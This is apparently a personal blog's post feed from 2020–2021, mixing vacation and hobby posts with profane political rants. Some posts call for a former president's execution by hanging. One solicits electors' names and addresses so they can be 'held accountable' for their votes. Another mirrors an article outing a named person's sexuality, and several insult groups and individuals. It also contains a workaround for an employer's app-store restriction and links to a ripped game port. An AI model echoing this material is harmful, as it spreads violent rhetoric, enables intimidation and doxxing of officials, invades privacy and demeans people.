Man, I have to say that Cancun is easily one of the coolest places to visit on the planet. The moment you land in the airport you smell floral green-ness everywhere. You’re literally landing in the jungle. I need to post some pictures from the trip soon. I guess this is just a ping to make sure people know my plane didn’t go down in the Yucatan jungle or anything like that. But I’ll definitely be posting pictures ASAP.

Insanity

Tue, 02 Mar 2021 09:59:57 -0500

I’m definitely not posting here while I’m on vacation. If I post anything, it’ll come after I’ve collected some awesome pictures. The main point being that the stuff I usually cover is also really irritating. I guess this post is really no exception to that sentiment.

Two More Days

Mon, 01 Mar 2021 07:33:03 -0500

The next two days are going to drag by so slowly. I can feel it already. Time is slipping by at a snail’s pace, almost maliciously, seemingly with the intention of driving me insane. Dammit.

I’m hoping that a week of digital detox will allow me more tolerance for my hobbies as well as my career. Staring at a screen all day is starting to make it difficult for me to engage in the type of learning I enjoy outside of work. I can’t complain too badly, as my line of work is pretty well right up my alley.

Countdown

Sun, 28 Feb 2021 13:22:40 -0500

Two more days. Just two more days and I’ll be with my favorite person sipping weird fruity drinks ocean-side in a beautiful resort. Holy freaking crap. I need this week so badly to blow off steam and just regain some of that sanity I’ve lost over the last five years of doing this crazy job. I literally cannot wait.

Also, I’m thinking that I might, at some point, invest in getting myself a macbook pro. I don’t think I’m going to go nuts immediately obtaining one, but I think that it’s absolutely the first place contender for my next acquisition. The efficiency of the M1 processor is just amazing. Lower TDP and higher output, and it’s no longer reliant on the very stale x86 compatible instruction set. Super freaking awesome. I’m not even an Apple fan in the slightest, but I’m a fan of any device with even a modest amount of innovation built-in. That definitely applies here. Though I admit I have zero interest in that stupid secondary screen-bar on the keyboard. It strikes me as a waste of keyboard space. I suppose I’ll make some concsessions to try and vote with my wallet and push the market in the direction I believe it should go.

Excitement

Fri, 26 Feb 2021 21:23:44 -0500

Holy shit. I literally cannot wait. In four days I’ll be heading to Cancun with my woman, and we’re going to have an amazing time. I’m so damned excited and I can’t freaking wait. Holy goddamn.

Also, I’m exhausted. Between work, co-parenting, and just living in general, I’m having a hard time keeping up appearances. I’m not superman. I don’t have invulnerability or even infinite patience. I’m an average person with limitations like every other person. Mine seem to be reached and breached with a number of people right now. I can’t control what other people, I can only control what I do, so I’ll continue to control how I react to things. But at the end of the day, I’m going to protect myself and the people I love.

Blerb

Tue, 23 Feb 2021 22:10:36 -0500

I’ve seen things you people wouldn’t believe. Attack ships on fire off the shoulder of Orion. I watched C-beams glitter in the dark near the Tannhäuser Gate. All those moments will be lost in time, like tears in rain. Time to die.

Man, I really need to re-watch Blade Runner. What an awesome movie. I get that goddamn quote stuck in my head pretty frequently. It’s a reminder that the time we’re alotted is relatively short compared to the duration of existence of reality.

Sadly True

Fri, 05 Feb 2021 15:07:42 -0500

Busy as Shit

Thu, 04 Feb 2021 09:26:13 -0500

I’ve been working through creating my own installation of NextCloud to synchronize my data across a number of devices, and so far I think the installation has been a resounding success. It’s currently running, believe it or not, on a Raspberry Pi 4 with 4GB of RAM. I would love to detail out how me, a rube, got this crap working. I’m not sure how much of an opportunity I’ll get to do that, though. Work is picking up with a serious ferocity and my spare time is incredibly limited.

Insurrection

Tue, 12 Jan 2021 17:45:51 -0500

I never thought I would be saying this, but it turns out that 2021 is already becoming a bigger beast than 2020 already was. We kicked the new year off with the President of the United States encouraging a seditious attempt to prevent a fair election from being counted. It involved a few right wing talking heads as well, with Charlie Kirk organizing transport for as many as 80 buses full of QAnon-obsessed lunatics.

Unemployed Sommelier Wins the Internet

Sun, 27 Dec 2020 13:00:47 -0500

Alright, of all the people to take the lemons of COVID-19 quarantine and make lemonade, this unemployed wine sommelier absolutely wins the internet. His sophisticated palate interpreting utter gutter booze makes for some of the best comedy you can get for free.

Exhausted

Sat, 26 Dec 2020 21:33:53 -0500

Well, shit. Christmas was simultaneously fun and horrifying. I love giving gifts. I love making people feel good. I just always feel incredibly awkward accepting gifts. Not sure why. Not to mention the fact that Christmas is a goddamn drama machine. Everyone and their mother feels as though the world is immediately collapsing upon having to see “Uncle Joe” one more goddamn time and “put up with his bullshit”. It is what it is. It’s over, that’s simply where we’re at. I also still have a solid week left of days where I’m not obliged to work. I’m wholly fucking exhausted. I’m exhausted beyond reason. I’ve ticked all the checkboxes of exhaustion. I’m physically exhausted, emotionally exhausted, and intellectually exhausted. It feels as though I can either collapse and sleep twenty-four whole hours or lapse into a coma, and the coma is imminent if I don’t take my Rip Van Winkle power nap.

Crapcrapcrapcrap

Tue, 22 Dec 2020 13:34:17 -0500

Look, I’m still alive! Woo. I also bought myself a new Razer Elite keyboard, since they’re marked down to like eighty bucks. I get to take my Logitech G513 home now, which is what I’ve been wanting to do for some time. I think it’ll be pretty conducive to me playing Cyberpunk 2077 on my living room TV. I have to admit that I’m just wholly emotionally exhausted right now, intellectually exhausted, and even physically exhausted. I really need a few days off, and thankfully it looks as though I’ll be getting that time off. Usually I find the best way to reset my batteries is to do nothing until I feel compelled to get out of the house and actually do something. Only now I’m totally unable to do that, as Corona has everyone pinned in their homes. No dining out. Haven’t been able to go to movie theaters. Haven’t been able to get to bars. The toll on us as humans is immense, though I still maintain that it’s worthwhile to continue until the vaccine is widely dispersed. At-risk individuals are worth us taking precautions to not kill them. If you value business or liberty above lives, you’re morally and ethically bankrupt at best. I think lately one of the biggest things dragging me down is familial strife. It seems to be everywhere now. It’s in my immediate family, my extended family, and even the families of people I love and care about. It’s hard to escape, that’s for sure. The medicines I take for depression and anxiety, I’m keenly aware, are still functioning at full capacity. Though I’d be lying if I said I’m able to feel all sunshine and rainbows right now. As the months wear on and we’re not able to live as humans have generally lived for the last few decades, I find it harder and harder to cope with the situation. I dunno. The older I get, the less capable I feel of explaining things. It’s almost as though age is withering my tongue. Perhaps age is reminding me that my tongue can lead me astray. It’s not always the best or first tool you should use in all situations, and sometimes silence is far superior. I’m sure you’ll get sick of this rant long before I do. It just feels as though life’s stinging disappointments dig deeper these days, twist harder. Yet I also feel happier than I’ve ever felt before. Perhaps it’s having something to lose that makes loss tougher. Having nothing to lose means the perpetual state of disappointment isn’t exacerbated by the addition of a little more disappointment. I certainly don’t beg to go back to that world of perpetual disappointment. Not a snowball’s chance in hell. And I remind myself I’m speaking in too many vagueries, that perhaps it’s time to click “Save” and wrap this up.

Evangelicals are Ruining the United States

Tue, 22 Dec 2020 11:27:08 -0500

I think it’s time we address the elephant in the room: Evangelical Christians are destroying the United States.

I’d like to share a quote. It goes as such:

Mark my word, if and when these preachers get control of the [Republican] party, and they’re sure trying to do so, it’s going to be a terrible damn problem. Frankly, these people frighten me. Politics and governing demand compromise. But these Christians believe they are acting in the name of God, so they can’t and won’t compromise. I know, I’ve tried to deal with them.

COVID mRNA Vaccines

Mon, 21 Dec 2020 20:52:58 -0500

People are going hard on the mRNA vaccine. This is a list of the bullshit I’ve seen from the anti-vaxx crowd so far:

“Messenger” RNA instructs cells to create virus parts
The mRNA is generated via genetic manipulation
It contains a microchip created by Bill Gates
It’s going to make you a leftist/liberal
It’s an excuse for the police state to codify “papers, please” in the US

Holy shit. Where to start. First of all, anti-vaxxers aren’t even fucking worth my time, they’re lower than low. They’re the intellectual gutter of humanity. First of all, yes the COVID vaccine is mRNA or “messenger” RNA based. Yes, it is a synthesized and isolated segment of RNA that instructs the cells to create only the protein binding sites necessary to generate an immune response. Is it drastically different from a traditional vaccine? Not as much as you’d think. If anything, it’s essentially an incredibly powerful refinement of existing science. The Coronavirus, attenuated or not, instructs your cells to assemble coronavirus parts. Typically the actual virus will instruct your cells to create fully-fledged coronavirii before undergoing apoptosis and releasing hundreds more in a cascade of immune failure. The attenuated virus would do the same, but poorly, typically not resulting in a full infection but the risk of a full infection does exist. The mRNA vaccine instructs your cells to ONLY generate the protein that binds to your cellular binding sites, before sacrificing the affected cell to release those proteins into your body and generate an immune response.

Thom Tillis Is Trash

Mon, 21 Dec 2020 20:21:23 -0500

Read this and tell me that Senator Thom Tillis isn’t a piece of garbage. You with me on this? Yeah, he wants to make streaming copyrighted content a fucking felony. Seriously, vote this human excrement out of office IMMEDIATELY. You fucking worthless North Carolina residents seriously elected this piece of shit? You people, man. What the fuck is wrong with you?

Election Fraud

Fri, 04 Dec 2020 15:38:32 -0500

Donald Trump is completely correct; There absolutely is a widespread and concerted effort to kick his ass out of the White House. Myself and 80 million other voters conspired to vote for Biden and ensure that orange bag of dicks is out on his ass January 21st, 2021. As far as “Election Fraud”, it’s not necessary when you’ve allowed a quarter million Americans to just die, all while downplaying the virus. The only fraud is Trump pretending he’s even remotely capable of acting as a sitting president. We’ve seen fifty cases now get shot down. He’s brought fifty court cases forward in various states challenging election results, and zero real victories resulted. Now he’s crying that he’s going to veto defense funding because Twitter made him so pissy. While we’re on the subject; Fuck Ted Cruz and Mitch McConnell as well. They’re worthless trash.

Science Denial

Fri, 04 Dec 2020 10:42:49 -0500

Every single person who entertained the notion that:

Coronavirus is a hoax
Shutting down the economy was unnecessary
“Everyone was going to get it anyways”
Entire medical establishments were lying about the severity
Deaths were misattributed or outright unrelated

You people are literally the cancer killing human society on a global scale. You should be ashamed of yourselves, but something tells me that shame isn’t in your vocabulary. Disgusting.

Weekend

Thu, 03 Dec 2020 10:31:03 -0500

It’s almost the weekend, goddammit! WOO! Just today and tomorrow and it’s two days of unabated freedom. WOO! Most importantly, muh baybay also has the weekend off. YUSSSSSSS.

Section 230

Wed, 02 Dec 2020 11:14:54 -0500

.....Therefore, if the very dangerous & unfair Section 230 is not completely terminated as part of the National Defense Authorization Act (NDAA), I will be forced to unequivocally VETO the Bill when sent to the very beautiful Resolute desk. Take back America NOW. Thank you!
— Donald J. Trump (@realDonaldTrump) December 2, 2020

This asshole is so bent out of shape about his tweets being tagged as “disinformation” that he’s going to draw the ire of the Pentagon just to get his way on “Section 230”. What an absolute waste of skin. These fucktards completely destroyed Fairness Doctrine and basically greenlit the birth of the abomination known as “Fox News”. Now that they’re discovering that their ideals are not shared by the majority, they want to scale back on it and begin regulating private enterprise as a public carrier. Yes, getting rid of Section 230 is ADDING regulation, unnecessary regulation at that. Doing this to the internet would suddenly necessitate a large censorship force the size of the great firewall of China in order to ensure that no companies are suddenly liable for damages with the repeal of Section 230.

Hobby

Wed, 02 Dec 2020 09:20:10 -0500

I think I need to get myself going on my hobbies again. Every time I have a moment outside of work to do something of substance I find myself vegetating over a TV show or some brainless youtube videos. In the past I would spend considerable amounts of this free time learning something new about computers or electronics. I haven’t done much of that since overhauling this blog to conform to Hugo. I did grab a Raspberry Pi 4 and set it up, but I did a very minimal job of it, and there’s really quite a bit left to go. I’m actually thinking about getting a second Pi 4 to continue on with, as the Pi 4 I’m on currently is acting as a print server. Kinda can’t live without a print server. I’d like to get a 8GB Pi 4 and a 4-6TB external drive and make myself a large storage server. A place to offload stuff to that’s not incredibly important, possibly isn’t backed up in the cloud. I dunno. We’ll see, I guess.

Thankful

Tue, 01 Dec 2020 11:45:51 -0500

I’m thankful for my kids. They’re awesome little people and I love them. I’m thankful for my family. I’ve both been blessed with family members I’m blood related to as well as dragging people into my inner circle. I’m grateful for Amber, because she’s wonderful and amazing and literally the best. I’m grateful for my career. It has taken me down some really interesting roads in life. I get to be a professional geek. There are a lot of reasons that I’ve been grateful over the holidays, and I don’t take things for granted. I just felt like I had to share these things as they’re the things I’m thinking about.

Big Dick Is Back

Tue, 01 Dec 2020 11:00:52 -0500

It feels really weird to be back in the office. I’ve been working from home for a couple weeks now and I can’t say I’m used to the structured corporate feel anymore. It was kind of a shock to come back to. I am, however, finally able to make some progress on the projects I’ve been assigned. It’s not really possible to install automation equipment that weighs more than two cars in a two bedroom apartment, so I haven’t been as productive as I’d prefer.

The Hollywood Ten

Mon, 30 Nov 2020 15:34:05 -0500

I just ran across Trumbo (2015) on Netflix and I have to say; It’s a pretty damn good film. It’s also strange to me how little things have changed since then. It’s insane to me that not only is McCarthyism emblazoned permanently in historical record, but the fact that we haven’t learned shit from it is duly noted. It’s really unfortunate.

Another damned good one is Don Verdean (2015). I think both of those films cover different aspects of confirmation bias and cognitive dissonance that still wreak havoc on society to this very day.

Relief

Wed, 25 Nov 2020 13:28:04 -0500

Things to be thankful for this Thanksgiving.

The people in our lives who make us feel things no one else can.
The sigh of relief coming from D.C. with Biden taking office.
A Coronavirus vaccine is on the way.
Happy and healthy kids.
The promise of open borders and traveling once the virus subsides.
A future borne from hard work and maximum effort.

I think I could go on more, but I’ll just leave this here for now.

Installing a *.Msixbundle File

Tue, 24 Nov 2020 11:14:43 -0500

This is a pain in the ass. My user profile is prevented from accessing the “Windows Store” by my administrator, because they’re dumb I guess. I dunno. It’s really not a clever move if you think about it, because you’re ensuring that people source their software from places other than “vetted distribution sites” such as Windows Store. But, whatever. This is the workaround. All you’re required to do is open powershell and execute the command Add-AppxPackage file.msixbundle. That’s pretty much it. You may want to do so as administrator, that way the bundle you install is available to everyone who uses the computer, but I’m sure it doesn’t matter either way.

Election Anxiety

Sun, 22 Nov 2020 12:35:23 -0500

As I write this, Donald Trump is lobbing salvo after salvo of attacks against Democracy in the United States.

Other than politics, how do you lose a case where large numbers of voters, far more than you need to flip Pennsylvania, are disenfranchised? Vote Observers thrown out of counting rooms. People going to vote finding out they have already voted through a fake ballot - go home!
— Donald J. Trump (@realDonaldTrump) November 22, 2020

When people get out and vote in massive numbers, Republicans lose. Trump knows this, and he’s twisting this fact around to make it look like the 47% of racist assholes in the United States are actually a majority, when they clearly are not. Joe Biden pulled record numbers and managed to get black voters to turn out in record numbers. But this arrogant piece of shit constantly spews trash like this:

De-Nazification and Post Trumpism

Sat, 21 Nov 2020 11:05:01 -0500

I figured I’d take a moment and expand on this, as it’s going to determine the next few decades and how we’re able to heal as a nation.

If Trump and his associates are not prosecuted, they argue, it might set a devastating precedent. Others worry that the desire to prosecute Trump could amount to no more than “vengeance” that would further erode democratic norms. This vigorous debate on the left asks how we as a nation can get to the bottom of the Trump administration’s criminal behavior, while also ensuring that no future administration can act in such a manner again.

Religion

Thu, 19 Nov 2020 10:50:37 -0500

Using the bible to extract truth from existence is akin to rebuilding a corn cob from kernels found in a pile of feces. Using science to extract truth from existence is like rebuilding a corn cob from a corn field. Your choice here is highly indicative of who you are as a person.

All these idiots squawking about the COVID vaccine being “the mark of the beast” are clearly not educated on Revelations. You’re just repeating shit you hear from others, you’re not reading or investigating individually, and it pains me that you people exist.

Peter Thiel is totally gay, people

Wed, 18 Nov 2020 20:36:10 -0500

This post mirrored from https://gawker.com/335894/peter-thiel-is-totally-gay-people.

By now, you’ve likely heard how Peter Thiel parlayed a $500,000 investment in Facebook to a stake now worth $750 million. There’s been a crush of coverage on his $220 million Founders Fund, which may well change the way entrepreneurs get paid in the Valley. We know about his mansion (he rents it — clever!), his butler, his early-morning jogs. But what no one ever says out loud: Thiel is gay.

Barry Goldwater

Mon, 16 Nov 2020 19:43:17 -0500

“Mark my word, if and when these preachers get control of the [Republican] party, and they’re sure trying to do so, it’s going to be a terrible damn problem. Frankly, these people frighten me. Politics and governing demand compromise. But these Christians believe they are acting in the name of God, so they can’t and won’t compromise. I know, I’ve tried to deal with them.”

– Barry Goldwater

He fucking knew. Barry Goldwater had anticipated this bullshit, this absolute ridiculousness, since as late as 1994 and potentially earlier than that.

Sign This, Kick Trump Out

Sun, 15 Nov 2020 16:01:22 -0500

👉 Sign Here 👈

Kick Trump out of the White House, don’t let that son of a bitch steal our election from us. It’s important now more than ever that fascism not creep into the system. He had four years to flail about like the fascist pig he is, and now it’s time for his fat orange ass to get the boot. We’re not taking it anymore, and no inbred yokel is going to change our minds no matter how much they want to fellate Trump.

The Abyss

Sun, 15 Nov 2020 15:07:33 -0500

In the case of faithless electors, I think it’s time we put together a list of names and addresses of the electoral college at present. They need to know they will be held accountible if they do not vote how we want them to. If anyone knows how to get this list, drop me a line so I can post that sumbitch up here and help ensure that our democracy is preserved without some rich asshole stealing the election from us.

Deltron 3030

Thu, 12 Nov 2020 16:49:38 -0500

Good shit.

Damn

Wed, 11 Nov 2020 18:35:27 -0500

This sucks. It sucks a ton. FFFFFUUUUUUUUUUUUU-

8 Passengers

Tue, 10 Nov 2020 16:11:55 -0500

Holy fucking shit. I was literally just made aware of an insane gaggle of assholes behind the YouTube account 8 Passengers. Before I start ranting, watch this absolute TRASH play out.

The video is obvious crap. Their production quality is trash and yet it also looks like a lot of effort put into trash. So that aside, this psychotic bitch rolls off with this unwarranted smile and peppy demeanor about “Kevin” testing positive for COVID. So they don’t quarantine him, or all the members of the family, or anything rational. This pasty white bitch SUGGESTS THEY ALL DRINK FROM ONE CUP. Bitch, listen- You are an abusive piece of trash for that even crossing your mind. I’m sitting at home suffering right now as I write this, and I can verifiably say without a doubt that you’re an unredeemable garbage human being.

Fuck Trump Dump

Tue, 10 Nov 2020 12:55:12 -0500

Here, have some tasty memes that celebrate the destruction of Trumpism for the next four years.

Treasonous Trump

Tue, 10 Nov 2020 11:50:15 -0500

Now I have an even greater stake in how personal the election is to me. Whatever the long-term effects are of COVID, I’m going to be saddled with that shit. In the interim, it’s a horrible disease to have. I frequently cough to the point of nearly vomiting, the fever and chills are horrendous, and the body aches are otherworldly.

Donald J. Trump should be tried in a military tribunal for treason. He has aided foreign nations and ignored the safety of Americans. We should seek the penalty of death by hanging. This has to happen- Now. Donald Trump deserves to hang for what he has done with the office of President. What he continues to do, undermining our election, dividing the country. Trump does not deserve to walk away from his presidency with his life intact. Period.

It's Over, Biden Wins

Fri, 06 Nov 2020 15:54:30 -0500

That’s it, folks. Pennsylvania has been called for Biden. The end of Trump’s cancerous influence over the nation looms large, and we can collectively breathe a sigh of relief. It’s my hope that we can mend as a nation, figuring out a way forward that disavows the hateful ethnic nationalist rhetoric he espoused. I greatly look forward to making racists afraid again. They need to crawl back into their holes to hide. Now is not their time to shine. It wasn’t in 2016, either, yet we found ourselves in the predicament we did. I don’t expect Biden to be a great leader, but I at least expect him to lead. Trump didn’t even do that. He failed consistently, made excuses constantly, and eroded the values I thought our nation once held.

True Love

Fri, 06 Nov 2020 08:50:42 -0500

I feel a need to publicly effuse about where I am in life right now. In the midst of being a parent, being a career-minded person, and just being myself; There is one aspect of my life eclipsing and enhancing everything else. I am completely and fully in love. I’ve found in someone my intellectual better, incredibly generous, optimistic, empathetic, hilarious, fun-loving, and just so amazing. And-the-sex-oh-my-god. I’ve found my soulmate. I don’t just know it. I feel it deep in the fiber of my being. I’ve found someone to give myself completely to, that enthralls me to share life with, that I can expose the complete depths of myself to. Words fail me in enumerating what I feel right now. It feels so vast and encompassing and yet as incredible a sensation as it is; not intimidating at all. I’m going to marry this woman, my woman, my best friend, my partner for life and soulmate, and there is no hesitation. I love you, Amber. I’m by far not the only person who realizes what an incredible human being you are, but I’m the person who gets to complete you. That is an incredible source of pride for me, because I don’t know anyone who gets to share in what we share.

Hope

Wed, 04 Nov 2020 22:46:43 -0500

Holy shit. As of this moment we’re sitting at:

	Biden	Trump
Electors	264	214
Votes	72,038,030	68,580,825
Percentage	50.4%	48%

I’m just completely blown away. This is just fully badass, and I can’t believe we’ve done it. Fuck Trump. Fuck Don Junior. Fuck Eric Trump. Fuck them all. We’re free, fucking finally. Fuck Trump supporter trash. Fuck the Trump GOP assholes. It’s finally fucking over.

Astounding. I hope this motherfucker gets humbled real hard and kicked the fuck out.

Election 2020

Wed, 04 Nov 2020 11:13:48 -0500

The anxiety is running high. We’re careening headfirst into the next chapter of this nation, and the next few days will determine whether we begin to heal as a nation or we continue to scratch our heads in wonder at how people can unapologetically support fascism and the destruction of our constitution. It’s also really interesting when people call descriptions such as mine ‘hyperbole’ when constitutional scholars are aghast by Trump’s time in office. But that’s the lowest common denominator; the one with no respect for their betters. The fool who dropped out of school in the eighth grade and thinks he knows better than doctors, refusing to wear masks, asserting his ‘rights’ everywhere and that everyone else are merely sheep. Scum, completely unredeemable scum.

Ear to the Ground

Fri, 30 Oct 2020 10:23:05 -0400

I’ve been watching The Alt Right, Boogaloo Boys, and other undesirables’ activity online. I’ve been at it for some time now. In all reality, I’ve probably consumed more of material than they do. I don’t monitor them because I care about them, agree with them, or enjoy their ideas. On the contrary, I find them to be utterly repulsive as people. They strike me as being lesser creatures, if I’m being completely honest. But I find it important that someone keep an ear to the ground on their trends. My reasoning here is not without merit. I’ve surveilled numerous Telegram extremist channels for over a year now, and I’m considering busting out Evernote and compiling everything I’ve seen so far in either a single long blog post or multiple blog posts spanned over the course of a few months. I intend to dig up what I can about where these people come from, what their occupations are, and possible root causes behind why they are the way they are. I know that I’ll answer maybe one of those questions or none of them, but I feel like I should at least make the attempt to document what’s out there and how easy it is to find yourself in the midst of American extremists. I think it’ll prove to be interesting and hopefully informative.

TheLounge Heap Size

Wed, 28 Oct 2020 11:30:01 -0400

Finally I have something technical to contribute. God dammit. So I’ve decided to embark on a journey of pushing software called thelounge to it’s breaking point. I’m running it on a raspberry pi 4 with 4GB of RAM and little much else to do except placate me. I set it up to record -1 lines of buffer and I’m connected to a bouncer that’s on multiple networks with a handful of channels on each network. Some are large volume channels with lots of comms.

Life

Wed, 28 Oct 2020 09:32:34 -0400

Life will sure throw curveballs. It seems like it’ll throw them every chance it gets. Sometimes those curveballs can cut you down, make you feel like less than you are. And some of those curveballs will build you up. They’ll remind you that despite your best effort, there will be no concrete plans in this crazy thing we call existence. At least, none that don’t require some “dressing” or clever maneuvers. COVID was something to blindside us all. The failed federal response to COVID, doubly surprising, and even more disappointing. Under Trump we’ve seen over 200,000 deaths that likely did not need to happen. Trump is merely an extension of “old money”, the Americans in the top one percent who regard us as cattle. I didn’t realize just how little we mean to the elite until they saw fit to throw us directly in harm’s way using their poster child, Donald J. Trump. COVID is a disaster, Trump’s response to it a complete disaster, and if he manages to squeeze out enough votes to get a second term we’ll see nothing more than more disaster with him at the helm. It wouldn’t surprise me, in all honesty.

youtube-dl Download

Tue, 27 Oct 2020 08:26:41 -0400

Since the RIAA is getting Microsoft to delete the popular download utility youtube-dl from Github and every fork that exists is also being removed, I figured I’d host it myself. They haven’t stopped hosting it themselves, but I figured they could use some vocal support. Fuck the RIAA, fuck Microsoft, and fuck Github.

Download it from them or from me.

Fuck the RIAA.

Anxiety

Wed, 21 Oct 2020 09:20:18 -0400

I feel like there’s an air of general unease everywhere right now. You have the ultra-capitalist fruitloops regarding human lives as expendable fuel for a thriving economy, and you have individuals who just want to exist without failed leadership completely ignoring the health and welfare of the general public. Both sides are deeply carved out in how they’re voting, and polling indicates Biden has a lead, but I’m not entirely sure we can trust polling anymore after 2016. Things are insane, to say the least.

😂

Fri, 16 Oct 2020 11:34:16 -0400

Figured I’d test out Hugo’s ability to handle utf-8 just for shits and giggles. I’m also giving WSL 2.0 a spin, checking out the subtle nuances between 1.0 and current. Not sure I’ve really noticed any difference yet, but maybe I’ll see them once I install packages. Not really sure. I looked briefly at the version comparison chart, but I don’t really remember the highlights. I just remember that overall, WSL 2.0 seemed to be a no-brainer.

Update

Tue, 13 Oct 2020 09:25:46 -0400

I do far less with this damn thing than I either expected or wanted to do with it, and my work/life balance is really one of the largest contributors. Even beyond that I frequently find myself choosing to vegetate with Disgaea 5 on the switch, grinding away at maxing out character classes and beefing up stats rather than writing a thoughtful post or describing some tech hurdle I’ve recently overcome. It’s whatever. At some point I’m sure I’ll have a day or two off where I find myself saying, “This is a perfect opportunity to draft up {x} thing I’ve been wanting to document”. Or maybe try something new. I dunno. It’s whatever. I complain about my work/life balance, but I also don’t do anything to change it. I’m not slowing down by picking a less intensive career path or low-energy job.

Holy Shit

Sat, 03 Oct 2020 10:18:12 -0400

You know the Trump GOP is a cult when their dear leader can downplay the danger of a disease for months and then contract the disease and the followers still say “MASKS ARE OPPRESSION”. Just so fucking stupid. These people are literally too stupid to live.
I can believe Trump contracted COVID with how stupid he’s been about wearing masks. Even when he started wearing a mask it was only for show. What I can’t believe is that he’s going to come out of it unscathed. I highly doubt he’s going to survive, and I don’t feel bad for him or his shit family. I don’t feel bad for the idiots who worship Trump, either. Their dear leader is trash. They’re dumb. No pity required. What still throws me for a loop, though, is that he can do such incredibly stupid shit and still have shitheels kissing the ground he walks on. There’s nothing redeemable about a person who doesn’t see Trump as the biggest idiot ever now that he’s contracted COVID. If you are one such person, it may be time for you to reevaluate your life. Even with the best treatment available in modern medicine, a septegenarian doesn’t have the best odds in surviving COVID. How have we fallen so far from grace? Why are there so many idiots here? How can we do better? Christ.

I Exist Without My Consent

Tue, 29 Sep 2020 21:19:53 -0400

Pi

Tue, 29 Sep 2020 11:14:14 -0400

I had seen a video recently on “Explaining Computers” and I noticed that the Raspberry Pi 4 now supports booting from a USB drive. Considering that it also has USB 3.0 support, and you can readily find SATA/USB 3.0 adapters, I think this makes for a pretty promising Pi 4 build. I’m considering snagging another along with the necessary cabling and a SATA drive to create a reasonably decent headless server with some beefy storage and better access times than SD flash. I think I’m going to keep the existing Pi 4 that I have running as is, as a general purpose and print server, because it just works. But I really feel like I need a Pi 4 with 4 TB of storage, because why not? I’m pretty sure I can put it together relatively inexpensively and I might dabble in some NextCloud or OwnCloud crap to boot. We’ll see. I always have too damn much stuff going on, but this is the goal at least.

Jesus

Mon, 14 Sep 2020 11:26:24 -0400

I think I’m a little in shock about how much work I have coming my way. It’s pretty intense. It looks like I’m going to have at least two, possibly three concurrent high profile projects as well as a number of smaller projects interspersed. I can’t really say how things are going to go, but I’m going to do my damnedest to get it done and do it right. I’m also writing this post on my phone using JuiceSSH, which is pretty cool. I’m glad I bought it. It works really well. It has this badass feature that allows you to use the virtual keyboard as either a “hunt and peck” for commands or an “autocorrect” for long strings of English words. I’m also tunneled into a raspberry pi over WireGuard. I need to buy at least one more of those, maybe two, and a large external drive to tether to it. Well, back to the grind, I guess.

Daaaaamn

Sun, 13 Sep 2020 18:47:30 -0400

I started “The Boys”, and it’s damned good. Highly recommend. It’s even grimier than Watchmen, a good sight more believable as well. Check it out some time. Besides, Amazon knows how to spend ad dollars effectively.

Also, the fucking money quote: “So… You’ll teach me to outrun cancer?” Holy fucking balls. 😂

Cult of Personality

Sun, 13 Sep 2020 12:21:28 -0400

How did we get here? I find myself asking that question over and over. It’s almost a daily reflection for me. How did Harvey Weinstein vicitimize women for thirty years? How did Jeffrey Epstein turn sex trafficking into a cottage industry? How did Trump maintain his personality cult across thirty allegations of sexual impropriety? The truth nearly seems stranger than fiction. At least, to me.

I’ve always been an incredibly defiant person. I buy heavily into the “No gods, no masters” mantra, and I feel as though we’re the masters of our own destiny. But that isn’t true for my peers. If they were to see a famous person in person, all bets would be off the table, and many of them would cease to be the same individual. The truth is that the “rockstar effect” is killing society.

Super Mario 64 Windows

Sat, 12 Sep 2020 14:30:18 -0400

Super Mario 64 Windows Edition

Some crazy cats decided to reverse engineer and port Super Mario 64 to Windows and DirectX. So here it is. Download it.

sha256sum: 6aca0bf380e62ec7ebe7c2b44597d9a5b0f29507ea59474acbdda285f7ada7b6 SMB64PCdx12.rar

VirusTotal Result

See the VirusTotal result to guarantee the download above is clean. It’s pretty awesome, but you’ll need to install Steam and run it through Steam in order to configure a controller. Personally I think the Switch Pro controller is the best bet for playing, but that’s all a matter of opinion. Also, I’ll be sure and let you know if Nintendo tries to sue me to take it down. Fuckers. 😂

Trump Republicans and #Maga on 9-11

Sat, 12 Sep 2020 14:05:19 -0400

Local Realism

Tue, 08 Sep 2020 11:44:23 -0400

It appears as though the nihilists are winning as we delve deeper into quantum mechanics. Local realism is under attack from every front, it would seem. I honestly despise the fact that quantum mechanics are easy and cheap to dip your toes into. It’s a short segue from polarized light to breaking existence as we know it. Who wants a universe that both exists and doesn’t exist until you observe that it either exists or doesn’t exist? Yet you can perform simple experiments at home that lead you down this absolutely insane path. I don’t know about you, but this shit bothers me. The underpinnings of everything in existence feel more solid than what we’re teasing out from photons.

AI Assisted Upscaling

Sat, 05 Sep 2020 11:55:13 -0400

So this is “in the works”, I haven’t succeeded yet. The ultimate goal is to be able to upscale a shitty 70kb jpeg to a megapixel jpeg using trained neural networks. Badass, rite? Well, the disclaimer here is that I’ve been chipping away at this project and haven’t yet got a functioning setup. So without further ado, here’s my fucking trainwreck.

I started off following the guide at alexjc/neural-enhance. My first attempt involved me thinking I was slick and I could just grab the docker container since it’s already installed, configured, and the neural networks trained with more than a few already very usable targets.

Cult

Fri, 04 Sep 2020 15:03:58 -0400

I don’t feel as though I truly captured the issues at hand with the current “Trump2020” movement. So here goes nothing.

In my previous incredibly inebriated post I made a piss poor attempt to compare the mentality of Trump supporters to those in an abusive cult. I still stand by this statement, but I don’t feel as though I did a very good job explaining why. First and foremost, let me say that people don’t have to justify what they feel, think, say, or do. Not to me, not to themselves, not to anyone. Sometimes people do shit for no reason whatsoever. That said, when people choose a political movement, there’s almost always a relatively strong reasoning behind it. I’m going to dissect “Trump2020” now.

God Dammit

Fri, 04 Sep 2020 08:28:52 -0400

God dammit. Well, what’s done is done, I guess. But I can tell you now I’m going to start policing myself for posting while doing dabs, because that was some bullshit. It was barely coherent, scattered, and ridiculous. I didn’t reach the original intended point at all and the few points I did stretch to make were sloppily done at best. It was mostly just angry shouting. I can’t stand that shit. I’m not going to remove it, though. I’ll let it linger to remind me why I’m policing myself.

Trump and QAnon Explained

Thu, 03 Sep 2020 23:13:47 -0400

Introduction

I’m going to make a case for something, and there are many of you who won’t agree with it. Though, the reasons for this are varied, it will be a tough pill to swallow. If you were on the other side of the fence you’d be able to see it.

Seven Signs You’re in a Cult

Opposing critical thinking
Isolating members and penalizing them for leaving
Emphasizing special doctrines outside scripture
Seeking inappropriate loyalty to their leaders
Dishonoring the family unit
Crossing Biblical boundaries of behavior (versus sexual purity and personal ownership)
Separation from the Church

Above are a reasonably complete set of criteria for determining whether you may be a member of a cult. It’s funny how easy it is to “go with the flow” to an immense degree that you don’t even realize what’s burning down around you.

Bruce Aylward is a Coward

Wed, 02 Sep 2020 23:35:44 -0400

Background:

